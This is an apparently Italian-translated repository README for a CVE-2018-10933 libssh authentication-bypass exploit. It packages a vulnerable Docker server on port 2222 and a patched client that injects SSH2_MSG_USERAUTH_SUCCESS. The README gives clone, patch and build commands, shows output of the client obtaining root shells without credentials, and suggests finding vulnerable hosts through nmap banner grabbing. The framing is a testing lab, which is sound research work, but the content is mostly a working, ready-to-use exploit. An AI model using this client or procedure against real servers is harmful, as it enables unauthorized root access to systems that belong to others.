hackerhouse-opensource/cve-2018-10933Docker-based CVE-2018-10933 libssh authentication bypass exploit with patched client for testing SSH server vulnerabilities and unauthorized access scenarios.
CVE-2018-10933 bypass dell'autenticazione libssh, un container Docker vulnerabile che resta in ascolto sulla porta 2222 per lo sfruttamento. Nel container è inclusa una patch proof-of-concept di base per libssh che bypassa l'autenticazione. Per accedere usare le credenziali predefinite "myuser" / "mypassword" di libssh. Una patch viene applicata a una copia di libssh nel container Docker che inietta un pacchetto SSH2_MSG_USERAUTH_SUCCESS durante qualsiasi tentativo di autenticazione (keyboard-interactive / pubkey / gss-api, ecc.) e imposta lo stato del client per procedere. Il server incluso è stato modificato partendo dal codice di esempio per consentire lo sfruttamento.
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
Un exploit-libssh-0.8.3 patchato e un sshd vulnerabile sono disponibili nel container per scopi di test. Il "ssh-client" bypassa con successo l'autenticazione ma non è in grado di generare una shell contro il server di esempio predefinito a causa di ulteriori controlli di autenticazione nel codice del server.
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
Dall'avviso "un client malintenzionato potrebbe creare canali senza prima effettuare l'autenticazione, con conseguente accesso non autorizzato."
Il seguente output di debug di libssh mostra che l'autenticazione sul server è riuscita e che è stato creato un canale di sessione. L'host è ora autenticato, ma ulteriori controlli lato server impediscono l'esecuzione dei comandi. Un attaccante potrebbe comunque tentare di instradare/proxyare connessioni attraverso il servizio.
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
I tentativi di avviare shell / exec o pty determinano una sessione riuscita ma errori sul server di esempio a causa di ulteriori controlli sullo stato di autenticazione dell'utente. I seguenti errori vengono mostrati sul server di esempio.
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
È ancora possibile che server libssh personalizzati possano potenzialmente portare all'esecuzione di codice arbitrario, ma la maggior parte potrebbe consentire solo il tunneling o un uso improprio del protocollo SSH. Rimuovendo il controllo di autenticazione aggiuntivo il server è ora vulnerabile all'exploit di bypass dell'autenticazione. È possibile che un'implementazione lato server di libssh introduca questa vulnerabilità. Di seguito un esempio di sfruttamento riuscito usando libssh patchato.
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
Il container Docker eseguirà di default l'esempio vulnerabile "ssh_server_fork"; l'originale si trova nella directory "libssh-0.8.3" per scopi di test/debug.
I seguenti fornitori sembrano essere praticamente colpiti da questa falla a causa del loro utilizzo di libssh.
libssh è installato localmente su numerose distribuzioni *BSD e Linux ed è usato da ffmpeg (?), hydra e un piccolo numero di pacchetti FOSS.
Puoi compilare un client libssh patchato da questo repository per utilizzarlo nello sfruttamento.
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
Puoi quindi usare "ssh-client" e qualsiasi esempio per bypassare l'autenticazione sulle implementazioni di server libssh vulnerabili.
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
La scansione di host potenzialmente vulnerabili può essere eseguita semplicemente effettuando un banner grabbing regolare sulle porte SSH interessate (ad es. nmap).
SSH-2.0-libssh_0.8.3
L'avviso originale si trova in CVE-2018-10933.txt, vulnerabilità trovata da Peter Winter Smith. Docker vulnerabile e patch exploit per libssh rilasciati da Hacker House (https://hacker.house).
Questi file sono disponibili sotto la licenza BSD a 3 clausole.